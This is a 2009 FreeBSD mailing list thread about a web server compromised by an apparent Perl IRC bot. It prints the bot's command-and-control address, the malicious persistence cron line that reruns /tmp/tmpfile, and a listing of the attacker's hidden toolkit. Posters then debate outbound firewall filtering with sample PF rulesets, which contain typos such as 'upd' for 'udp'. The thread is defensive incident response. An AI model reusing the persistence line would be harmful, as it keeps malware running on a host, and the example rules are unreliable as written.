Bill, one more thing: Bill Moran wrote: You can add an ipfw rule to prevent the script from calling home, which will effectively render it neutered until you can track down and actually _fix_ the problem. Mike Bristow above wrote: The script is talking to 94.102.51.57 on port 7000. OK, so I how do I know what port the script is using for outgoing traffic on MY box? 7000 is the remote host port, right? FWIW, here are my core PF lines: pass out quick on $ext_if proto 41 pass out quick on gif0 inet6 pass in quick on gif0 inet6 proto icmp6 block in log That is to say: nothing is allowed in unless explicitly allowed Everything allowed out. (plus some ipv6 stuff I was testing with a tunnel) Merci - Colin Brace Amsterdam http://lim.nl -- View this message in context: http://www.nabble.com/what-www-perl-script-is-running--tp25112050p25134277.html Sent from the freebsd-questions mailing list archive at Nabble.com. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org
Re: what www perl script is running?
On Tue, Aug 25, 2009 at 06:16:49AM -0700, Colin Brace typed:
Bill Moran wrote:
You can add an ipfw rule to prevent the script from calling home, which
will effectively render it neutered until you can track down and actually
_fix_ the problem.
In reality, good security practice says that you should have IPFW (or some
other firewall) running and only allowing known good traffic right from
the start, which might have protected you from this in the first place.
Bill,
I am surprised you would think I have no firewall. As long as I have had the
server (2 years), I have had PF installed and running, and I can tell you
exactly which incoming ports I have open to the net:
tcp_services = { ssh smtp www https 4661 4662 52550 }
But are you blocking any outgoing traffic?
wifi_tcp_services = { ftp ssh bootps whois domain www imap imaps ntp irc
https sunrpc dict nfs 2628 3689 4711 6667 6909 23398}
Should I entertain the possiblity that someone parked their car near my
house and hacked in through one of the above ports?
That's certainly possibly. But not my first guess.
Any suggestions as to where to start looking for the breach would be most
welcome; I am quite new to this game.
My guess (not much more than that) is that someone used a vulnerable web page,
maybe some perl or php application that was exploitable. This because the
rogue process was running as user www.
Try a find through the entire filesystem for files owned by this user that
you can't account for. Also check your cron and at files under /var/cron and
/var/at
And try to find out what's starting the proces whith ps -alx, tracking the
PPIDs.
gooed hunting!
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org
Re: what www perl script is running?
On Tue, Aug 25, 2009 at 06:30:17AM -0700, Colin Brace typed: Bill, one more thing: Bill Moran wrote: You can add an ipfw rule to prevent the script from calling home, which will effectively render it neutered until you can track down and actually _fix_ the problem. Mike Bristow above wrote: The script is talking to 94.102.51.57 on port 7000. OK, so I how do I know what port the script is using for outgoing traffic on MY box? 7000 is the remote host port, right? gw:51295-94.102.51.57:afs3-fileserver (ESTABLISHED) It's using local port 51295. But that's irrelevant as ports for outgoing connections are dynamically allocated. FWIW, here are my core PF lines: pass out quick on $ext_if proto 41 pass out quick on gif0 inet6 pass in quick on gif0 inet6 proto icmp6 block in log That is to say: nothing is allowed in unless explicitly allowed Everything allowed out. Which is exactly what the rogue perl script was using to connect to it's home. Once established this connection could have been used for allmost anything, including downloading other malicious software or setting up a tunnel into your LAN. Ruben ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org
Re: what www perl script is running?
--On Tuesday, August 25, 2009 07:26:04 -0500 Bill Moran wmo...@potentialtech.com wrote: I am currently killing the process with the following bash command while I decide what to do next: $ while x=1 ; do sudo killall -9 perl5.8.9 echo killed... ; sleep 15; done You can add an ipfw rule to prevent the script from calling home, which will effectively render it neutered until you can track down and actually _fix_ the problem. In reality, good security practice says that you should have IPFW (or some other firewall) running and only allowing known good traffic right from the start, which might have protected you from this in the first place. I disagree. I used to believe this, but experience has taught me otherwise. When you run a firewall on a host, you open the ports for the services you want to offer. The firewall provides you no protection at all against hackers attacking the services that are listening on ports opened through the firewall. All a host firewall does is consume CPU and memory and give you a warm fuzzy that doesn't really add to security at all and may well make you less vigilant. (And yes, I know I'm a security heretic in some quarters.) Firewalls are much more effective when they're not on the box(es) you're trying to protect. I think it's highly likely that this compromise was through the web server attacking a vulnerable service or a poorly coded script or a permissions problem. And it sounds like the compromise is limited (right now) to the web service. In fact it sounds a great deal like PsyBNC. http://en.wikipedia.org/wiki/PsyBNC Is it worth first trying to determine how my system was broken into? Yes. Otherwise you'll probably just get a repeat once you've reinstalled. You're absolutely correct. The old aphorism about always doing what you've always done always produces the results you've always gotten certainly applies here. -- Paul Schmehl, Senior Infosec Analyst As if it wasn't already obvious, my opinions are my own and not those of my employer. *** It is as useless to argue with those who have renounced the use of reason as to administer medication to the dead. Thomas Jefferson ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org
Re: what www perl script is running?
Ruben de Groot wrote: Which is exactly what the rogue perl script was using to connect to it's home. Once established this connection could have been used for allmost anything, including downloading other malicious software or setting up a tunnel into your LAN. Well, the box (also) serves as my DSL gateway, as I indicated above. How would I be able to use various desktop programs like Skype which dynamically set up their own outgoing ports? However, I am perfectly willing to entertain the idea that using a (web)server as a router is a Bad Idea. However, when I set it up, it just seemed more convenient and flexible. - Colin Brace Amsterdam http://lim.nl -- View this message in context: http://www.nabble.com/what-www-perl-script-is-running--tp25112050p25135684.html Sent from the freebsd-questions mailing list archive at Nabble.com. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org
Re: what www perl script is running?
--On Tuesday, August 25, 2009 04:41:33 -0500 Ruben de Groot mai...@bzerk.org wrote: On Tue, Aug 25, 2009 at 10:19:37AM +0100, Mike Bristow typed: On Tue, Aug 25, 2009 at 01:00:53AM -0700, Colin Brace wrote: Ok, here is what lsof tells me: $ sudo lsof | grep perl perl5.8.9 4272 www3uIPv4 0xc33cf0000t0 TCP gw:51295-94.102.51.57:afs3-fileserver (ESTABLISHED) The last line would be appear to telling me something, but what? The script is talking to 94.102.51.57 on port 7000. At which port an IRC server is listening: telnet 94.102.51.57 7000 Trying 94.102.51.57... Connected to 94.102.51.57. Escape character is '^]'. :sampson.dangerz.biz NOTICE AUTH :*** Looking up your hostname... :sampson.dangerz.biz NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead And the IRC daemon is screaming You have been hacked! You need to get someone who knows about server compromises to help you. Your server has been compromised. If you don't take action now, it will only get worse. -- Paul Schmehl (pa...@utdallas.edu) Senior Information Security Analyst The University of Texas at Dallas http://www.utdallas.edu/ir/security/
Re: what www perl script is running?
Ruben de Groot wrote: Try a find through the entire filesystem for files owned by this user that you can't account for. Also check your cron and at files under /var/cron and /var/at I found the cronjob which keeps restarting the script: [r...@venus /var/cron/tabs]# ls -l total 12 -rw--- 1 root wheel 3440 Aug 25 12:06 colin -rw--- 1 root wheel 240 Jul 28 23:49 www [r...@venus /var/cron/tabs]# cat www # DO NOT EDIT THIS FILE - edit the master and reinstall. # (cron.job installed on Tue Jul 28 23:49:28 2009) # (Cron version -- $FreeBSD: src/usr.sbin/cron/crontab/crontab.c,v 1.24 2006/09/03 17:52:19 ru Exp $) */1 * * * * perl /tmp/tmpfile I removed it, so now at least the script stops relaunching. /tmp/tmpfile is of course the script. In a subdirectory of tmp, there is a whole bunch of source code, all owned by 'www': /tmp/.,]# ls -l total 5692 -rw-r--r-- 1 www wheel 2844160 Mar 27 10:00 m.tgz drwxr-xr-x 4 www wheel 512 Nov 10 2008 ml -rw-r--r-- 1 www wheel43419 May 27 23:22 scanxml.txt ]# ls -l ml total 3208 -rwxr-xr-x 1 www wheel 411 Mar 27 09:57 1.user -rwxr-xr-x 1 www wheel 422 Mar 27 09:57 2.user -rwxr-xr-x 1 www wheel 505767 Aug 3 2008 LinkEvents -rwxr-xr-x 1 www wheel2154 May 16 2003 Makefile -rwx--x--x 1 www wheel 418490 Dec 3 2005 bsd -rwxr-xr-x 1 www wheel 941 Dec 3 2005 checkmech -rwxr-xr-x 1 www wheel 23237 May 16 2003 configure -rwx--x--x 1 www wheel 397274 Dec 3 2005 crond -rwxr-xr-x 1 www wheel 22882 May 16 2003 m.h -rwxr-xr-x 1 www wheel1054 Aug 3 2008 m.lev -rwx--x--x 1 www wheel 6 May 25 2008 m.pid -rwxr-xr-x 1 www wheel1320 Mar 27 09:56 m.set -rwxr-xr-x 1 www wheel 10240 Nov 10 2008 m.tgz -rwxr-xr-x 1 www wheel 167964 Mar 16 2001 pico drwxr-xr-x 2 www wheel 512 Mar 4 2005 r drwxr-xr-x 2 www wheel1024 Dec 3 2005 src If anyone is interested in looking at this stuff, or wants more info, please let me know. - Colin Brace Amsterdam http://lim.nl -- View this message in context: http://www.nabble.com/what-www-perl-script-is-running--tp25112050p25135959.html Sent from the freebsd-questions mailing list archive at Nabble.com. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org
Re: what www perl script is running?
--On Tuesday, August 25, 2009 05:46:43 -0500 Colin Brace c...@lim.nl wrote: Olivier Nicole wrote: Am I correct in assuming that my system has been hacked and I am running an IRC server or something? IRC client at least. And yes, I would think that your system has been compromised. Thanks Olivier. I am currently killing the process with the following bash command while I decide what to do next: $ while x=1 ; do sudo killall -9 perl5.8.9 echo killed... ; sleep 15; done I suppose this calls for a bare-metal reinstall. Is it worth first trying to determine how my system was broken into? Only you can answer that question. How badly do you need to get the server back up and running? If it's not critical, it would be worth taking the time to investigate. Otherwise you'll set it back up the same way and be hacked again in the same way. If you know someone who is good at forensics on Unix boxes, call them. -- Paul Schmehl, Senior Infosec Analyst As if it wasn't already obvious, my opinions are my own and not those of my employer. *** It is as useless to argue with those who have renounced the use of reason as to administer medication to the dead. Thomas Jefferson ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org
Re: what www perl script is running?
--On Tuesday, August 25, 2009 08:30:17 -0500 Colin Brace c...@lim.nl wrote: Bill, one more thing: Bill Moran wrote: You can add an ipfw rule to prevent the script from calling home, which will effectively render it neutered until you can track down and actually _fix_ the problem. Mike Bristow above wrote: The script is talking to 94.102.51.57 on port 7000. OK, so I how do I know what port the script is using for outgoing traffic on MY box? 7000 is the remote host port, right? FWIW, here are my core PF lines: pass out quick on $ext_if proto 41 pass out quick on gif0 inet6 pass in quick on gif0 inet6 proto icmp6 block in log That is to say: nothing is allowed in unless explicitly allowed Everything allowed out. (plus some ipv6 stuff I was testing with a tunnel) The problem with blocking outbound ports is that it breaks things in odd ways. For example, your mail server listens on port 25 (and possibly 465 as well) but it communicates with connecting clients on whatever ethereal port the client decided to use. If the port the client selects happens to be in a range that you are blocking, communication will be impossible and the client will report that your mail server is non-responsive. It's much easier to block outgoing ports for services you *don't* want to offer, but, if the service isn't running anyway, blocking the port is non-productive. -- Paul Schmehl, Senior Infosec Analyst As if it wasn't already obvious, my opinions are my own and not those of my employer. *** It is as useless to argue with those who have renounced the use of reason as to administer medication to the dead. Thomas Jefferson ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org
Re: what www perl script is running?
In response to Paul Schmehl pschmehl_li...@tx.rr.com: --On Tuesday, August 25, 2009 07:26:04 -0500 Bill Moran wmo...@potentialtech.com wrote: I am currently killing the process with the following bash command while I decide what to do next: $ while x=1 ; do sudo killall -9 perl5.8.9 echo killed... ; sleep 15; done You can add an ipfw rule to prevent the script from calling home, which will effectively render it neutered until you can track down and actually _fix_ the problem. In reality, good security practice says that you should have IPFW (or some other firewall) running and only allowing known good traffic right from the start, which might have protected you from this in the first place. I disagree. I used to believe this, but experience has taught me otherwise. When you run a firewall on a host, you open the ports for the services you want to offer. The firewall provides you no protection at all against hackers attacking the services that are listening on ports opened through the firewall. All a host firewall does is consume CPU and memory and give you a warm fuzzy that doesn't really add to security at all and may well make you less vigilant. (And yes, I know I'm a security heretic in some quarters.) Well, you're entitled to your opinion, but I think it's misguided. Security isn't always about preventing a compromise. Sometimes it's about reducing the damage. If he had a packet filter installed that allowed only known-good traffic, he still might have gotten compromised through a web server, you got that part right. The part you missed is that the installed script needs to connect out to talk to it's bot master. The packet filter would have prevented this communication, thus the rogue script would have been useless. While the compromise of the machine would succeed, control of the machine would not fall into other hands, and the script would be incapable of compromising _information_ on the machine (as it stands, you have no idea what files that script has been sending up to the bot master ... password files, for example?) A side note to that. Make sure to change each and every password, key file, etc on that system, as they're all suspect at this point. -- Bill Moran http://www.potentialtech.com http://people.collaborativefusion.com/~wmoran/ ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org
Re: what www perl script is running?
In response to Paul Schmehl pschmehl_li...@tx.rr.com:
--On Tuesday, August 25, 2009 08:30:17 -0500 Colin Brace c...@lim.nl wrote:
Bill Moran wrote:
You can add an ipfw rule to prevent the script from calling home, which
will effectively render it neutered until you can track down and actually
_fix_ the problem.
Mike Bristow above wrote: The script is talking to 94.102.51.57 on port
7000. OK, so I how do I know what port the script is using for outgoing
traffic on MY box? 7000 is the remote host port, right?
FWIW, here are my core PF lines:
pass out quick on $ext_if proto 41
pass out quick on gif0 inet6
pass in quick on gif0 inet6 proto icmp6
block in log
That is to say: nothing is allowed in unless explicitly allowed
Everything allowed out.
(plus some ipv6 stuff I was testing with a tunnel)
The problem with blocking outbound ports is that it breaks things in odd
ways.
For example, your mail server listens on port 25 (and possibly 465 as well)
but
it communicates with connecting clients on whatever ethereal port the client
decided to use. If the port the client selects happens to be in a range that
you are blocking, communication will be impossible and the client will report
that your mail server is non-responsive.
You're doing it wrong. Block on the destination port _only_ and you don't
care about the ephemeral ports.
It's much easier to block outgoing ports for services you *don't* want to
offer, but, if the service isn't running anyway, blocking the port is
non-productive.
You're obviously misunderstanding me completely. Your not blocking incoming
connections, your preventing outgoing ones, which means there _is_ no
service running on your local machine.
For example, a server that is _only_ web (with SSH for admin) could have
a ruleset like:
pass in quick on $ext_if proto tcp from any to me port {25,587,465,22} keep
state
pass out quick on $ext_if proto tcp from me to any port {25} keep state
pass out quick on $ext_if proto upd from me to any port {53,123} keep state
block all
(note that's only an example, there may be some fine points I'm missing)
One thing that had not yet been mentioned when I posted my earlier comment,
is that this system is a combination firewall/web server. That makes the
rules more complicated, but the setup is still possible:
pass in quick on $ext_if proto tcp from any to me port {80} keep state
pass out quick on $ext_if proto upd from me to any port {53,123} keep state
pass out quick on $ext_if from $internal_network to any all keep state
block all
Which allows limited outgoing traffic originating from the box itself,
but allows unlimited outgoing traffic from systems on $internal_network.
I've done this with great success. In fact, I had a fun time where a
client in question was infected with viruses out the wazoo, but the
viruses never spread off their local network because I only allowed
SMTP traffic to their SMTP relay, which required SMTP auth (thus the
viruses couldn't send mail)
--
Bill Moran
http://www.potentialtech.com
http://people.collaborativefusion.com/~wmoran/
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org
Re: what www perl script is running?
On Tue, Aug 25, 2009 at 11:05 AM, Bill Moran wmo...@potentialtech.comwrote:
In response to Paul Schmehl pschmehl_li...@tx.rr.com:
--On Tuesday, August 25, 2009 08:30:17 -0500 Colin Brace c...@lim.nl
wrote:
Bill Moran wrote:
You can add an ipfw rule to prevent the script from calling home,
which
will effectively render it neutered until you can track down and
actually
_fix_ the problem.
Mike Bristow above wrote: The script is talking to 94.102.51.57 on
port
7000. OK, so I how do I know what port the script is using for
outgoing
traffic on MY box? 7000 is the remote host port, right?
FWIW, here are my core PF lines:
pass out quick on $ext_if proto 41
pass out quick on gif0 inet6
pass in quick on gif0 inet6 proto icmp6
block in log
That is to say: nothing is allowed in unless explicitly allowed
Everything allowed out.
(plus some ipv6 stuff I was testing with a tunnel)
The problem with blocking outbound ports is that it breaks things in odd
ways.
For example, your mail server listens on port 25 (and possibly 465 as
well) but
it communicates with connecting clients on whatever ethereal port the
client
decided to use. If the port the client selects happens to be in a range
that
you are blocking, communication will be impossible and the client will
report
that your mail server is non-responsive.
You're doing it wrong. Block on the destination port _only_ and you don't
care about the ephemeral ports.
What ports would you block then when you're trying to run a webserver?
It's much easier to block outgoing ports for services you *don't* want to
offer, but, if the service isn't running anyway, blocking the port is
non-productive.
You're obviously misunderstanding me completely. Your not blocking
incoming
connections, your preventing outgoing ones, which means there _is_ no
service running on your local machine.
For example, a server that is _only_ web (with SSH for admin) could have
a ruleset like:
pass in quick on $ext_if proto tcp from any to me port {25,587,465,22} keep
state
pass out quick on $ext_if proto tcp from me to any port {25} keep state
pass out quick on $ext_if proto upd from me to any port {53,123} keep state
block all
(note that's only an example, there may be some fine points I'm missing)
One thing that had not yet been mentioned when I posted my earlier comment,
is that this system is a combination firewall/web server. That makes the
rules more complicated, but the setup is still possible:
pass in quick on $ext_if proto tcp from any to me port {80} keep state
pass out quick on $ext_if proto upd from me to any port {53,123} keep state
pass out quick on $ext_if from $internal_network to any all keep state
block all
Which allows limited outgoing traffic originating from the box itself,
but allows unlimited outgoing traffic from systems on $internal_network.
I've done this with great success. In fact, I had a fun time where a
client in question was infected with viruses out the wazoo, but the
viruses never spread off their local network because I only allowed
SMTP traffic to their SMTP relay, which required SMTP auth (thus the
viruses couldn't send mail)
--
Adam Vande More
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org
Re: what www perl script is running?
In response to Adam Vande More amvandem...@gmail.com:
On Tue, Aug 25, 2009 at 11:05 AM, Bill Moran wmo...@potentialtech.comwrote:
In response to Paul Schmehl pschmehl_li...@tx.rr.com:
--On Tuesday, August 25, 2009 08:30:17 -0500 Colin Brace c...@lim.nl
wrote:
Bill Moran wrote:
You can add an ipfw rule to prevent the script from calling home,
which
will effectively render it neutered until you can track down and
actually
_fix_ the problem.
Mike Bristow above wrote: The script is talking to 94.102.51.57 on
port
7000. OK, so I how do I know what port the script is using for
outgoing
traffic on MY box? 7000 is the remote host port, right?
FWIW, here are my core PF lines:
pass out quick on $ext_if proto 41
pass out quick on gif0 inet6
pass in quick on gif0 inet6 proto icmp6
block in log
That is to say: nothing is allowed in unless explicitly allowed
Everything allowed out.
(plus some ipv6 stuff I was testing with a tunnel)
The problem with blocking outbound ports is that it breaks things in odd
ways.
For example, your mail server listens on port 25 (and possibly 465 as
well) but
it communicates with connecting clients on whatever ethereal port the
client
decided to use. If the port the client selects happens to be in a range
that
you are blocking, communication will be impossible and the client will
report
that your mail server is non-responsive.
You're doing it wrong. Block on the destination port _only_ and you don't
care about the ephemeral ports.
What ports would you block then when you're trying to run a webserver?
My point (which is presented in examples below) is that you block everything
and only allow what is needed (usually only dns and ntp, possibly smtp if
the web server needs to send mail)
That single statement above was directed specifically at the comment about
it being impossible to predict (and thus block) ephemeral source ports. He's
right about that, and that's why filtering on the destination port is the
more common practice.
Of course, that caused me to create an email that seems to contradict
itself, if you don't notice that it's two answers to two different comments.
It's much easier to block outgoing ports for services you *don't* want to
offer, but, if the service isn't running anyway, blocking the port is
non-productive.
You're obviously misunderstanding me completely. Your not blocking
incoming
connections, your preventing outgoing ones, which means there _is_ no
service running on your local machine.
For example, a server that is _only_ web (with SSH for admin) could have
a ruleset like:
pass in quick on $ext_if proto tcp from any to me port {25,587,465,22} keep
state
pass out quick on $ext_if proto tcp from me to any port {25} keep state
pass out quick on $ext_if proto upd from me to any port {53,123} keep state
block all
(note that's only an example, there may be some fine points I'm missing)
One thing that had not yet been mentioned when I posted my earlier comment,
is that this system is a combination firewall/web server. That makes the
rules more complicated, but the setup is still possible:
pass in quick on $ext_if proto tcp from any to me port {80} keep state
pass out quick on $ext_if proto upd from me to any port {53,123} keep state
pass out quick on $ext_if from $internal_network to any all keep state
block all
Which allows limited outgoing traffic originating from the box itself,
but allows unlimited outgoing traffic from systems on $internal_network.
I've done this with great success. In fact, I had a fun time where a
client in question was infected with viruses out the wazoo, but the
viruses never spread off their local network because I only allowed
SMTP traffic to their SMTP relay, which required SMTP auth (thus the
viruses couldn't send mail)
--
Adam Vande More
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org
--
Bill Moran
http://www.potentialtech.com
http://people.collaborativefusion.com/~wmoran/
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org
Re: what www perl script is running?
Colin Brace wrote: Ruben de Groot wrote: Try a find through the entire filesystem for files owned by this user that you can't account for. Also check your cron and at files under /var/cron and /var/at I found the cronjob which keeps restarting the script: [r...@venus /var/cron/tabs]# ls -l total 12 -rw--- 1 root wheel 3440 Aug 25 12:06 colin -rw--- 1 root wheel 240 Jul 28 23:49 www [r...@venus /var/cron/tabs]# cat www # DO NOT EDIT THIS FILE - edit the master and reinstall. # (cron.job installed on Tue Jul 28 23:49:28 2009) # (Cron version -- $FreeBSD: src/usr.sbin/cron/crontab/crontab.c,v 1.24 2006/09/03 17:52:19 ru Exp $) */1 * * * * perl /tmp/tmpfile I removed it, so now at least the script stops relaunching. /tmp/tmpfile is of course the script. In a subdirectory of tmp, there is a whole bunch of source code, all owned by 'www': /tmp/.,]# ls -l total 5692 -rw-r--r-- 1 www wheel 2844160 Mar 27 10:00 m.tgz drwxr-xr-x 4 www wheel 512 Nov 10 2008 ml -rw-r--r-- 1 www wheel43419 May 27 23:22 scanxml.txt ]# ls -l ml total 3208 -rwxr-xr-x 1 www wheel 411 Mar 27 09:57 1.user -rwxr-xr-x 1 www wheel 422 Mar 27 09:57 2.user -rwxr-xr-x 1 www wheel 505767 Aug 3 2008 LinkEvents -rwxr-xr-x 1 www wheel2154 May 16 2003 Makefile -rwx--x--x 1 www wheel 418490 Dec 3 2005 bsd -rwxr-xr-x 1 www wheel 941 Dec 3 2005 checkmech -rwxr-xr-x 1 www wheel 23237 May 16 2003 configure -rwx--x--x 1 www wheel 397274 Dec 3 2005 crond -rwxr-xr-x 1 www wheel 22882 May 16 2003 m.h -rwxr-xr-x 1 www wheel1054 Aug 3 2008 m.lev -rwx--x--x 1 www wheel 6 May 25 2008 m.pid -rwxr-xr-x 1 www wheel1320 Mar 27 09:56 m.set -rwxr-xr-x 1 www wheel 10240 Nov 10 2008 m.tgz -rwxr-xr-x 1 www wheel 167964 Mar 16 2001 pico drwxr-xr-x 2 www wheel 512 Mar 4 2005 r drwxr-xr-x 2 www wheel1024 Dec 3 2005 src If anyone is interested in looking at this stuff, or wants more info, please let me know. Are these files available in a tarball someplace public, for those of us who enjoy performing autopsies on virii? -- Fuzzy love, -CyberLeo Technical Administrator CyberLeo.Net Webhosting http://www.CyberLeo.Net cyber...@cyberleo.net Furry Peace! - http://.fur.com/peace/ ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org
Re: what www perl script is running?
On Tue, Aug 25, 2009 at 12:06 PM, Bill Moran wmo...@potentialtech.comwrote:
In response to Adam Vande More amvandem...@gmail.com:
On Tue, Aug 25, 2009 at 11:05 AM, Bill Moran wmo...@potentialtech.com
wrote:
In response to Paul Schmehl pschmehl_li...@tx.rr.com:
--On Tuesday, August 25, 2009 08:30:17 -0500 Colin Brace c...@lim.nl
wrote:
Bill Moran wrote:
You can add an ipfw rule to prevent the script from calling home,
which
will effectively render it neutered until you can track down and
actually
_fix_ the problem.
Mike Bristow above wrote: The script is talking to 94.102.51.57 on
port
7000. OK, so I how do I know what port the script is using for
outgoing
traffic on MY box? 7000 is the remote host port, right?
FWIW, here are my core PF lines:
pass out quick on $ext_if proto 41
pass out quick on gif0 inet6
pass in quick on gif0 inet6 proto icmp6
block in log
That is to say: nothing is allowed in unless explicitly allowed
Everything allowed out.
(plus some ipv6 stuff I was testing with a tunnel)
The problem with blocking outbound ports is that it breaks things in
odd
ways.
For example, your mail server listens on port 25 (and possibly 465 as
well) but
it communicates with connecting clients on whatever ethereal port the
client
decided to use. If the port the client selects happens to be in a
range
that
you are blocking, communication will be impossible and the client
will
report
that your mail server is non-responsive.
You're doing it wrong. Block on the destination port _only_ and you
don't
care about the ephemeral ports.
What ports would you block then when you're trying to run a webserver?
My point (which is presented in examples below) is that you block
everything
and only allow what is needed (usually only dns and ntp, possibly smtp if
the web server needs to send mail)
That single statement above was directed specifically at the comment about
it being impossible to predict (and thus block) ephemeral source ports.
He's
right about that, and that's why filtering on the destination port is the
more common practice.
Of course, that caused me to create an email that seems to contradict
itself, if you don't notice that it's two answers to two different
comments.
My point was that it's unfeasible to block by destination point. You can
only block by destination port if it's a known quantity, and the destination
port is ephemeral in the question I posed(which what the OP had an issue
with).
It's much easier to block outgoing ports for services you *don't*
want to
offer, but, if the service isn't running anyway, blocking the port is
non-productive.
You're obviously misunderstanding me completely. Your not blocking
incoming
connections, your preventing outgoing ones, which means there _is_ no
service running on your local machine.
For example, a server that is _only_ web (with SSH for admin) could
have
a ruleset like:
pass in quick on $ext_if proto tcp from any to me port {25,587,465,22}
keep
state
pass out quick on $ext_if proto tcp from me to any port {25} keep state
pass out quick on $ext_if proto upd from me to any port {53,123} keep
state
block all
(note that's only an example, there may be some fine points I'm
missing)
One thing that had not yet been mentioned when I posted my earlier
comment,
is that this system is a combination firewall/web server. That makes
the
rules more complicated, but the setup is still possible:
pass in quick on $ext_if proto tcp from any to me port {80} keep state
pass out quick on $ext_if proto upd from me to any port {53,123} keep
state
pass out quick on $ext_if from $internal_network to any all keep state
block all
Which allows limited outgoing traffic originating from the box itself,
but allows unlimited outgoing traffic from systems on
$internal_network.
I've done this with great success. In fact, I had a fun time where a
client in question was infected with viruses out the wazoo, but the
viruses never spread off their local network because I only allowed
SMTP traffic to their SMTP relay, which required SMTP auth (thus the
viruses couldn't send mail)
--
Adam Vande More
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to
freebsd-questions-unsubscr...@freebsd.org
--
Bill Moran
http://www.potentialtech.com
http://people.collaborativefusion.com/~wmoran/http://people.collaborativefusion.com/%7Ewmoran/
--
Adam Vande More
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To
Re: what www perl script is running?
In response to Adam Vande More amvandem...@gmail.com:
On Tue, Aug 25, 2009 at 12:06 PM, Bill Moran wmo...@potentialtech.comwrote:
In response to Adam Vande More amvandem...@gmail.com:
On Tue, Aug 25, 2009 at 11:05 AM, Bill Moran wmo...@potentialtech.com
wrote:
In response to Paul Schmehl pschmehl_li...@tx.rr.com:
--On Tuesday, August 25, 2009 08:30:17 -0500 Colin Brace c...@lim.nl
wrote:
Bill Moran wrote:
You can add an ipfw rule to prevent the script from calling home,
which
will effectively render it neutered until you can track down and
actually
_fix_ the problem.
Mike Bristow above wrote: The script is talking to 94.102.51.57 on
port
7000. OK, so I how do I know what port the script is using for
outgoing
traffic on MY box? 7000 is the remote host port, right?
FWIW, here are my core PF lines:
pass out quick on $ext_if proto 41
pass out quick on gif0 inet6
pass in quick on gif0 inet6 proto icmp6
block in log
That is to say: nothing is allowed in unless explicitly allowed
Everything allowed out.
(plus some ipv6 stuff I was testing with a tunnel)
The problem with blocking outbound ports is that it breaks things in
odd
ways.
For example, your mail server listens on port 25 (and possibly 465 as
well) but
it communicates with connecting clients on whatever ethereal port the
client
decided to use. If the port the client selects happens to be in a
range
that
you are blocking, communication will be impossible and the client
will
report
that your mail server is non-responsive.
You're doing it wrong. Block on the destination port _only_ and you
don't
care about the ephemeral ports.
What ports would you block then when you're trying to run a webserver?
My point (which is presented in examples below) is that you block
everything
and only allow what is needed (usually only dns and ntp, possibly smtp if
the web server needs to send mail)
That single statement above was directed specifically at the comment about
it being impossible to predict (and thus block) ephemeral source ports.
He's
right about that, and that's why filtering on the destination port is the
more common practice.
Of course, that caused me to create an email that seems to contradict
itself, if you don't notice that it's two answers to two different
comments.
My point was that it's unfeasible to block by destination point. You can
only block by destination port if it's a known quantity, and the destination
port is ephemeral in the question I posed(which what the OP had an issue
with).
Please read the entire email before you respond. My last example below
demonstrates how to do what you call unfeasible.
It's much easier to block outgoing ports for services you *don't*
want to
offer, but, if the service isn't running anyway, blocking the port is
non-productive.
You're obviously misunderstanding me completely. Your not blocking
incoming
connections, your preventing outgoing ones, which means there _is_ no
service running on your local machine.
For example, a server that is _only_ web (with SSH for admin) could
have
a ruleset like:
pass in quick on $ext_if proto tcp from any to me port {25,587,465,22}
keep
state
pass out quick on $ext_if proto tcp from me to any port {25} keep state
pass out quick on $ext_if proto upd from me to any port {53,123} keep
state
block all
(note that's only an example, there may be some fine points I'm
missing)
One thing that had not yet been mentioned when I posted my earlier
comment,
is that this system is a combination firewall/web server. That makes
the
rules more complicated, but the setup is still possible:
pass in quick on $ext_if proto tcp from any to me port {80} keep state
pass out quick on $ext_if proto upd from me to any port {53,123} keep
state
pass out quick on $ext_if from $internal_network to any all keep state
block all
Which allows limited outgoing traffic originating from the box itself,
but allows unlimited outgoing traffic from systems on
$internal_network.
I've done this with great success. In fact, I had a fun time where a
client in question was infected with viruses out the wazoo, but the
viruses never spread off their local network because I only allowed
SMTP traffic to their SMTP relay, which required SMTP auth (thus the
viruses couldn't send mail)
--
Adam Vande More
___
freebsd-questions@freebsd.org mailing list
